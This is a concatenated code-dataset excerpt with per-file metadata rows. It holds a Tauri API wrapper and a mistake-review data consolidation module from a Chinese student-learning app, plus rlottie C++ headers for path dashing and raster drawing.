static async updateReviewAnalysis(reviewAnalysis: ReviewAnalysisItem): Promise<ReviewAnalysisItem> {
try {
const response = await invoke<ReviewAnalysisItem>('update_review_analysis', {
review_analysis: reviewAnalysis
});
console.log('✅ 回顾分析更新成功');
return response;
} catch (error) {
console.error('❌ 更新回顾分析失败:', error);
// 如果后端没有这个命令，使用变通方案
console.log('ℹ️ 后端可能没有update_review_analysis命令，使用变通方案');
throw new Error(`更新回顾分析失败: ${error}`);
}
}
/**
* 回顾分析聊天追问（复用错题分析的追问模式）
*/
static async continueReviewChatStream(params: {
reviewId: string;
chatHistory: ChatMessage[];
enableChainOfThought: boolean;
enableRag?: boolean;
ragTopK?: number;
}): Promise<void> {
try {
await invoke('continue_consolidated_review_stream', {
request: {
review_session_id: params.reviewId,
chat_history: params.chatHistory,
enable_chain_of_thought: params.enableChainOfThought,
enable_rag: params.enableRag || false,
rag_options: params.enableRag ? { top_k: params.ragTopK || 5 } : undefined
}
});
console.log('✅ 回顾分析聊天追问成功');
} catch (error) {
console.error('❌ 回顾分析聊天追问失败:', error);
throw new Error(`回顾分析聊天追问失败: ${error}`);
}
}
// ==================== 通用invoke方法 ====================
// ============================================================================
// 错题总结生成 API
// ============================================================================
/**
* 生成错题总结 - 基于聊天记录生成结构化总结
*/
static async generateMistakeSummary(request: {
mistake_id: string;
force_regenerate?: boolean;
}): Promise<{
success: boolean;
mistake_summary?: string | null;
user_error_analysis?: string | null;
error_message?: string | null;
}> {
try {
console.log('🧠 开始生成错题总结:', request.mistake_id);
const response = await invoke<{
success: boolean;
mistake_summary?: string | null;
user_error_analysis?: string | null;
error_message?: string | null;
}>('generate_mistake_summary', {
request: {
mistake_id: request.mistake_id,
force_regenerate: request.force_regenerate || false,
}
});
if (response.success) {
console.log('✅ 错题总结生成成功');
} else {
console.warn('⚠️ 错题总结生成失败:', response.error_message);
}
return response;
} catch (error) {
console.error('❌ 生成错题总结失败:', error);
throw new Error(`生成总结失败: ${error}`);
}
}
/**
* LLM基于上下文生成回答
*/
static async llmGenerateAnswerWithContext(userQuery: string, retrievedChunksJson: string): Promise<string> {
try {
console.log('🤖 调用LLM生成API:', { userQuery: userQuery.substring(0, 100) + '...', retrievedChunksJson });
const response = await invoke<string>('llm_generate_answer_with_context', {
userQuery: userQuery,
retrievedChunksJson: retrievedChunksJson,
});
console.log('✅ LLM生成成功');
return response;
} catch (error) {
console.error('❌ LLM生成回答失败:', error);
throw new Error(`LLM生成失败: ${error}`);
}
}
/**
* 通用的Tauri invoke方法
*/
static async invoke<T>(command: string, args?: Record<string, any>): Promise<T> {
try {
const response = await invoke<T>(command, args);
console.log(`✅ ${command} 调用成功:`, response);
return response;
} catch (error) {
console.error(`❌ ${command} 调用失败:`, error);
throw new Error(`${command} 失败: ${error}`);
}
}
}
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tauriApi
|
ts
|
en
|
typescript
|
code
|
{"qsc_code_num_words": 3867, "qsc_code_num_chars": 41446.0, "qsc_code_mean_word_length": 6.28342384, "qsc_code_frac_words_unique": 0.14067753, "qsc_code_frac_chars_top_2grams": 0.03045518, "qsc_code_frac_chars_top_3grams": 0.05177381, "qsc_code_frac_chars_top_4grams": 0.06519055, "qsc_code_frac_chars_dupe_5grams": 0.53457075, "qsc_code_frac_chars_dupe_6grams": 0.50135814, "qsc_code_frac_chars_dupe_7grams": 0.44369907, "qsc_code_frac_chars_dupe_8grams": 0.39060828, "qsc_code_frac_chars_dupe_9grams": 0.34694214, "qsc_code_frac_chars_dupe_10grams": 0.31928554, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00339246, "qsc_code_frac_chars_whitespace": 0.25322106, "qsc_code_size_file_byte": 41446.0, "qsc_code_num_lines": 1478.0, "qsc_code_num_chars_line_max": 122.0, "qsc_code_num_chars_line_mean": 28.04194858, "qsc_code_frac_chars_alphabet": 0.78049175, "qsc_code_frac_chars_comments": 0.05867876, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.51851852, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06920593, "qsc_code_frac_chars_long_word_length": 0.03416722, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/dataConsolidationEngine.ts
|
/**
* 数据整合引擎 - 回顾分析功能的核心数据处理模块
*
* 负责将多个错题的信息整合成统一的文本格式，供AI分析使用
*/
import { MistakeItem, MistakeConsolidationData, ConsolidatedMistakeData, ChatMessage } from '../types/index';
export class DataConsolidationEngine {
/**
* 从错题对象中提取关键信息用于整合
*/
static extractMistakeData(mistake: MistakeItem): MistakeConsolidationData {
return {
mistakeId: mistake.id,
ocr_text: mistake.ocr_text,
user_question: mistake.user_question,
chat_history: mistake.chat_history.filter(msg =>
// 只保留用户和助手的消息内容，排除思维链
msg.role === 'user' || msg.role === 'assistant'
).map(msg => ({
role: msg.role,
content: msg.content,
timestamp: msg.timestamp,
// 不包含thinking_content
})),
};
}
/**
* 将多个错题信息整合成结构化的长文本
*/
static consolidateMistakes(
mistakes: MistakeItem[],
userOverallPrompt: string,
consolidationOptions?: {
includeImages?: boolean;
includeChatHistory?: boolean;
maxChatMessagesPerMistake?: number;
includeTimestamps?: boolean;
includeTags?: boolean;
customTemplate?: string;
}
): ConsolidatedMistakeData {
const options = {
includeImages: false, // 暂不支持图片整合
includeChatHistory: true,
maxChatMessagesPerMistake: 10,
includeTimestamps: false,
includeTags: true,
...consolidationOptions,
};
const selectedMistakes = mistakes.map(mistake => this.extractMistakeData(mistake));
const consolidatedText = this.generateConsolidatedText(mistakes, options);
return {
selectedMistakes,
consolidatedText,
userOverallPrompt,
};
}
/**
* 生成整合后的文本内容
*/
private static generateConsolidatedText(
mistakes: MistakeItem[],
options: any
): string {
let consolidatedText = '';
// 添加整体说明
consolidatedText += '# 错题回顾分析数据\n\n';
consolidatedText += `本次回顾分析包含 ${mistakes.length} 道错题，以下是详细信息：\n\n`;
mistakes.forEach((mistake, index) => {
consolidatedText += this.formatSingleMistake(mistake, index + 1, options);
consolidatedText += '\n';
});
return consolidatedText;
}
/**
* 格式化单个错题的信息
*/
private static formatSingleMistake(mistake: MistakeItem, index: number, options: any): string {
let mistakeText = '';
mistakeText += `## 错题 ${index} (ID: ${mistake.id})\n\n`;
// 基本信息
mistakeText += `**科目**: ${mistake.subject}\n`;
mistakeText += `**错题类型**: ${mistake.mistake_type}\n`;
if (options.includeTags && mistake.tags.length > 0) {
mistakeText += `**相关标签**: ${mistake.tags.join(', ')}\n`;
}
if (options.includeTimestamps) {
mistakeText += `**创建时间**: ${new Date(mistake.created_at).toLocaleString()}\n`;
}
mistakeText += '\n';
// 题目内容
mistakeText += '### 题目内容\n';
mistakeText += '```\n';
mistakeText += mistake.ocr_text || '(无题目文字内容)';
mistakeText += '\n```\n\n';
// 原始问题
mistakeText += '### 我的原始问题\n';
mistakeText += mistake.user_question;
mistakeText += '\n\n';
// 历史交流记录
if (options.includeChatHistory && mistake.chat_history.length > 0) {
mistakeText += '### 历史交流记录\n';
const messages = mistake.chat_history
.slice(0, options.maxChatMessagesPerMistake)
.filter(msg => msg.role === 'user' || msg.role === 'assistant');
messages.forEach((message, msgIndex) => {
const roleDisplay = message.role === 'user' ? '👤 用户' : '🤖 助手';
mistakeText += `**${roleDisplay}**: ${message.content}\n\n`;
});
if (mistake.chat_history.length > options.maxChatMessagesPerMistake) {
mistakeText += `*(还有 ${mistake.chat_history.length - options.maxChatMessagesPerMistake} 条消息未显示)*\n\n`;
}
}
mistakeText += '---\n\n';
return mistakeText;
}
/**
* 验证整合数据的有效性
*/
static validateConsolidatedData(data: ConsolidatedMistakeData): {
isValid: boolean;
errors: string[];
warnings: string[];
} {
const errors: string[] = [];
const warnings: string[] = [];
// 检查必要字段
if (!data.userOverallPrompt || data.userOverallPrompt.trim().length === 0) {
errors.push('用户总体分析指引不能为空');
}
if (!data.selectedMistakes || data.selectedMistakes.length === 0) {
errors.push('至少需要选择一个错题');
}
if (!data.consolidatedText || data.consolidatedText.trim().length === 0) {
errors.push('整合文本不能为空');
}
// 检查数据质量
if (data.selectedMistakes) {
data.selectedMistakes.forEach((mistake, index) => {
if (!mistake.ocr_text || mistake.ocr_text.trim().length === 0) {
warnings.push(`错题 ${index + 1} 没有题目文字内容`);
}
if (!mistake.user_question || mistake.user_question.trim().length === 0) {
warnings.push(`错题 ${index + 1} 没有用户问题`);
}
});
}
// 检查整合文本长度
if (data.consolidatedText && data.consolidatedText.length > 50000) {
warnings.push('整合文本较长，可能超出某些AI模型的上下文限制');
}
return {
isValid: errors.length === 0,
errors,
warnings,
};
}
/**
* 生成摘要信息
*/
static generateSummary(data: ConsolidatedMistakeData): {
mistakeCount: number;
subjects: string[];
totalChatMessages: number;
averageOcrLength: number;
consolidatedTextLength: number;
estimatedTokens: number;
} {
const subjects = [...new Set(data.selectedMistakes.map(m => {
// 从mistakeId中尝试获取科目信息，或使用其他方式
return 'Unknown'; // 这里需要根据实际数据结构调整
}))];
const totalChatMessages = data.selectedMistakes.reduce(
(sum, mistake) => sum + mistake.chat_history.length,
0
);
const totalOcrLength = data.selectedMistakes.reduce(
(sum, mistake) => sum + mistake.ocr_text.length,
0
);
const averageOcrLength = data.selectedMistakes.length > 0
? totalOcrLength / data.selectedMistakes.length
: 0;
// 简单的token估算（1个token约等于4个字符）
const estimatedTokens = Math.ceil(data.consolidatedText.length / 4);
return {
mistakeCount: data.selectedMistakes.length,
subjects,
totalChatMessages,
averageOcrLength: Math.round(averageOcrLength),
consolidatedTextLength: data.consolidatedText.length,
estimatedTokens,
};
}
/**
* 预设的整合模板
*/
static getPresetTemplates(): { [key: string]: string } {
return {
detailed: '详细模式 - 包含完整的聊天历史和所有信息',
concise: '简洁模式 - 只包含题目内容和原始问题',
focused: '重点模式 - 包含题目内容、问题和关键交流',
comparative: '对比模式 - 突出不同错题间的关联和差异',
};
}
/**
* 根据模板生成特定格式的整合文本
*/
static consolidateWithTemplate(
mistakes: MistakeItem[],
userOverallPrompt: string,
templateType: 'detailed' | 'concise' | 'focused' | 'comparative'
): ConsolidatedMistakeData {
const templateOptions = {
detailed: {
includeChatHistory: true,
maxChatMessagesPerMistake: 20,
includeTimestamps: true,
includeTags: true,
},
concise: {
includeChatHistory: false,
maxChatMessagesPerMistake: 0,
includeTimestamps: false,
includeTags: false,
},
focused: {
includeChatHistory: true,
maxChatMessagesPerMistake: 5,
includeTimestamps: false,
includeTags: true,
},
comparative: {
includeChatHistory: true,
maxChatMessagesPerMistake: 3,
includeTimestamps: false,
includeTags: true,
},
};
return this.consolidateMistakes(mistakes, userOverallPrompt, templateOptions[templateType]);
}
/**
* 检查是否超出模型上下文限制
*/
static checkContextLimits(
data: ConsolidatedMistakeData,
modelContextLimit: number = 32000 // 默认32k tokens
): {
withinLimit: boolean;
estimatedTokens: number;
recommendedActions: string[];
} {
const estimatedTokens = Math.ceil(data.consolidatedText.length / 4);
const withinLimit = estimatedTokens <= modelContextLimit * 0.8; // 保留20%缓冲
const recommendedActions: string[] = [];
if (!withinLimit) {
recommendedActions.push('减少选择的错题数量');
recommendedActions.push('使用简洁模式整合');
recommendedActions.push('减少聊天历史记录的包含量');
recommendedActions.push('考虑分批进行回顾分析');
}
return {
withinLimit,
estimatedTokens,
recommendedActions,
};
}
}
export default DataConsolidationEngine;
| 8,373
|
dataConsolidationEngine
|
ts
|
zh
|
typescript
|
code
|
{"qsc_code_num_words": 864, "qsc_code_num_chars": 8373.0, "qsc_code_mean_word_length": 5.96296296, "qsc_code_frac_words_unique": 0.31365741, "qsc_code_frac_chars_top_2grams": 0.01630435, "qsc_code_frac_chars_top_3grams": 0.02096273, "qsc_code_frac_chars_top_4grams": 0.01863354, "qsc_code_frac_chars_dupe_5grams": 0.15353261, "qsc_code_frac_chars_dupe_6grams": 0.08423913, "qsc_code_frac_chars_dupe_7grams": 0.05201863, "qsc_code_frac_chars_dupe_8grams": 0.03416149, "qsc_code_frac_chars_dupe_9grams": 0.01281056, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00683951, "qsc_code_frac_chars_whitespace": 0.24913412, "qsc_code_size_file_byte": 8373.0, "qsc_code_num_lines": 314.0, "qsc_code_num_chars_line_max": 111.0, "qsc_code_num_chars_line_mean": 26.6656051, "qsc_code_frac_chars_alphabet": 0.81231112, "qsc_code_frac_chars_comments": 0.06377642, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.20888889, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.04502551, "qsc_code_frac_chars_long_word_length": 0.00293367, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vdasher.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VDASHER_H
#define VDASHER_H
#include "vpath.h"
V_BEGIN_NAMESPACE
class VDasher {
public:
VDasher(const float *dashArray, size_t size);
VPath dashed(const VPath &path);
void dashed(const VPath &path, VPath &result);
private:
void moveTo(const VPointF &p);
void lineTo(const VPointF &p);
void cubicTo(const VPointF &cp1, const VPointF &cp2, const VPointF &e);
void close();
void addLine(const VPointF &p);
void addCubic(const VPointF &cp1, const VPointF &cp2, const VPointF &e);
void updateActiveSegment();
private:
void dashHelper(const VPath &path, VPath &result);
struct Dash {
float length;
float gap;
};
const VDasher::Dash *mDashArray;
size_t mArraySize{0};
VPointF mCurPt;
size_t mIndex{0}; /* index to the dash Array */
float mCurrentLength;
float mDashOffset{0};
VPath *mResult{nullptr};
bool mDiscard{false};
bool mStartNewSegment{true};
bool mNoLength{true};
bool mNoGap{true};
};
V_END_NAMESPACE
#endif // VDASHER_H
| 2,352
|
vdasher
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 308, "qsc_code_num_chars": 2352.0, "qsc_code_mean_word_length": 5.13311688, "qsc_code_frac_words_unique": 0.50649351, "qsc_code_frac_chars_top_2grams": 0.0683112, "qsc_code_frac_chars_top_3grams": 0.02656546, "qsc_code_frac_chars_top_4grams": 0.03225806, "qsc_code_frac_chars_dupe_5grams": 0.09108159, "qsc_code_frac_chars_dupe_6grams": 0.05945604, "qsc_code_frac_chars_dupe_7grams": 0.05945604, "qsc_code_frac_chars_dupe_8grams": 0.05945604, "qsc_code_frac_chars_dupe_9grams": 0.05945604, "qsc_code_frac_chars_dupe_10grams": 0.05945604, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00625, "qsc_code_frac_chars_whitespace": 0.25170068, "qsc_code_size_file_byte": 2352.0, "qsc_code_num_lines": 65.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 36.18461538, "qsc_code_frac_chars_alphabet": 0.89204545, "qsc_code_frac_chars_comments": 0.50595238, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10810811, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0060241, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.27027027, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.40540541, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vdrawhelper.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VDRAWHELPER_H
#define VDRAWHELPER_H
#include <memory>
#include <array>
#include "assert.h"
#include "vbitmap.h"
#include "vbrush.h"
#include "vrect.h"
#include "vrle.h"
V_USE_NAMESPACE
struct VSpanData;
struct Operator;
struct RenderFunc
{
using Color = void (*)(uint32_t *dest, int length, uint32_t color, uint32_t alpha);
using Src = void (*)(uint32_t *dest, int length, const uint32_t *src, uint32_t alpha);
enum class Type {
Invalid,
Color,
Src,
};
RenderFunc() = default;
RenderFunc(Type t, Color f):type_(t), color_(f){assert(t == Type::Color);}
RenderFunc(Type t, Src f):type_(t), src_(f){ assert(t == Type::Src);}
Type type_{Type::Invalid};
union {
Color color_;
Src src_;
};
};
class RenderFuncTable
{
public:
RenderFuncTable();
RenderFunc::Color color(BlendMode mode) const
{
return colorTable[uint32_t(mode)].color_;
}
RenderFunc::Src src(BlendMode mode) const
{
return srcTable[uint32_t(mode)].src_;
}
private:
void neon();
void sse();
void updateColor(BlendMode mode, RenderFunc::Color f)
{
colorTable[uint32_t(mode)] = {RenderFunc::Type::Color, f};
}
void updateSrc(BlendMode mode, RenderFunc::Src f)
{
srcTable[uint32_t(mode)] = {RenderFunc::Type::Src, f};
}
private:
std::array<RenderFunc, uint32_t(BlendMode::Last)> colorTable;
std::array<RenderFunc, uint32_t(BlendMode::Last)> srcTable;
};
typedef void (*SourceFetchProc)(uint32_t *buffer, const Operator *o,
const VSpanData *data, int y, int x,
int length);
typedef void (*ProcessRleSpan)(size_t count, const VRle::Span *spans,
void *userData);
extern void memfill32(uint32_t *dest, uint32_t value, int count);
struct LinearGradientValues {
float dx;
float dy;
float l;
float off;
};
struct RadialGradientValues {
float dx;
float dy;
float dr;
float sqrfr;
float a;
float inv2a;
bool extended;
};
struct Operator {
BlendMode mode;
SourceFetchProc srcFetch;
RenderFunc::Color funcSolid;
RenderFunc::Src func;
union {
LinearGradientValues linear;
RadialGradientValues radial;
};
};
class VRasterBuffer {
public:
VBitmap::Format prepare(const VBitmap *image);
void clear();
void resetBuffer(int val = 0);
inline uint8_t *scanLine(int y)
{
assert(y >= 0);
assert(size_t(y) < mHeight);
return mBuffer + y * mBytesPerLine;
}
uint32_t *pixelRef(int x, int y) const
{
return (uint32_t *)(mBuffer + y * mBytesPerLine + x * mBytesPerPixel);
}
size_t width() const { return mWidth; }
size_t height() const { return mHeight; }
size_t bytesPerLine() const { return mBytesPerLine; }
size_t bytesPerPixel() const { return mBytesPerPixel; }
VBitmap::Format format() const { return mFormat; }
private:
VBitmap::Format mFormat{VBitmap::Format::ARGB32_Premultiplied};
size_t mWidth{0};
size_t mHeight{0};
size_t mBytesPerLine{0};
size_t mBytesPerPixel{0};
mutable uint8_t *mBuffer{nullptr};
};
struct VGradientData {
VGradient::Spread mSpread;
struct Linear {
float x1, y1, x2, y2;
};
struct Radial {
float cx, cy, fx, fy, cradius, fradius;
};
union {
Linear linear;
Radial radial;
};
const uint32_t *mColorTable;
bool mColorTableAlpha;
};
struct VTextureData : public VRasterBuffer {
uint32_t pixel(int x, int y) const { return *pixelRef(x, y); };
uint8_t alpha() const { return mAlpha; }
void setAlpha(uint8_t alpha) { mAlpha = alpha; }
void setClip(const VRect &clip);
// clip rect
int left;
int right;
int top;
int bottom;
bool hasAlpha;
uint8_t mAlpha;
};
struct VColorTable {
uint32_t buffer32[VGradient::colorTableSize];
bool alpha{true};
};
struct VSpanData {
enum class Type { None, Solid, LinearGradient, RadialGradient, Texture };
void updateSpanFunc();
void init(VRasterBuffer *image);
void setup(const VBrush &brush, BlendMode mode = BlendMode::SrcOver,
int alpha = 255);
void setupMatrix(const VMatrix &matrix);
VRect clipRect() const
{
return VRect(0, 0, mDrawableSize.width(), mDrawableSize.height());
}
void setDrawRegion(const VRect ®ion)
{
mOffset = VPoint(region.left(), region.top());
mDrawableSize = VSize(region.width(), region.height());
}
uint32_t *buffer(int x, int y) const
{
return mRasterBuffer->pixelRef(x + mOffset.x(), y + mOffset.y());
}
void initTexture(const VBitmap *image, int alpha, const VRect &sourceRect);
const VTextureData &texture() const { return mTexture; }
BlendMode mBlendMode{BlendMode::SrcOver};
VRasterBuffer * mRasterBuffer;
ProcessRleSpan mBlendFunc;
ProcessRleSpan mUnclippedBlendFunc;
VSpanData::Type mType;
std::shared_ptr<const VColorTable> mColorTable{nullptr};
VPoint mOffset; // offset to the subsurface
VSize mDrawableSize; // suburface size
uint32_t mSolid;
VGradientData mGradient;
VTextureData mTexture;
float m11, m12, m13, m21, m22, m23, m33, dx, dy; // inverse xform matrix
bool fast_matrix{true};
VMatrix::MatrixType transformType{VMatrix::MatrixType::None};
};
#define BYTE_MUL(c, a) \
((((((c) >> 8) & 0x00ff00ff) * (a)) & 0xff00ff00) + \
(((((c)&0x00ff00ff) * (a)) >> 8) & 0x00ff00ff))
inline constexpr int vRed(uint32_t c)
{
return ((c >> 16) & 0xff);
}
inline constexpr int vGreen(uint32_t c)
{
return ((c >> 8) & 0xff);
}
inline constexpr int vBlue(uint32_t c)
{
return (c & 0xff);
}
inline constexpr int vAlpha(uint32_t c)
{
return c >> 24;
}
static inline uint32_t interpolate_pixel(uint32_t x, uint32_t a, uint32_t y,
uint32_t b)
{
uint32_t t = (x & 0xff00ff) * a + (y & 0xff00ff) * b;
t >>= 8;
t &= 0xff00ff;
x = ((x >> 8) & 0xff00ff) * a + ((y >> 8) & 0xff00ff) * b;
x &= 0xff00ff00;
x |= t;
return x;
}
#endif // QDRAWHELPER_P_H
| 7,837
|
vdrawhelper
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 904, "qsc_code_num_chars": 7837.0, "qsc_code_mean_word_length": 5.23451327, "qsc_code_frac_words_unique": 0.33960177, "qsc_code_frac_chars_top_2grams": 0.04733728, "qsc_code_frac_chars_top_3grams": 0.00929839, "qsc_code_frac_chars_top_4grams": 0.01183432, "qsc_code_frac_chars_dupe_5grams": 0.06952663, "qsc_code_frac_chars_dupe_6grams": 0.03825021, "qsc_code_frac_chars_dupe_7grams": 0.01606086, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02886671, "qsc_code_frac_chars_whitespace": 0.28390966, "qsc_code_size_file_byte": 7837.0, "qsc_code_num_lines": 271.0, "qsc_code_num_chars_line_max": 93.0, "qsc_code_num_chars_line_mean": 28.91881919, "qsc_code_frac_chars_alphabet": 0.81432644, "qsc_code_frac_chars_comments": 0.15949981, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13207547, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00576894, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.01548505, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.02358491, "qsc_codec_frac_lines_func_ratio": 0.1745283, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.30188679, 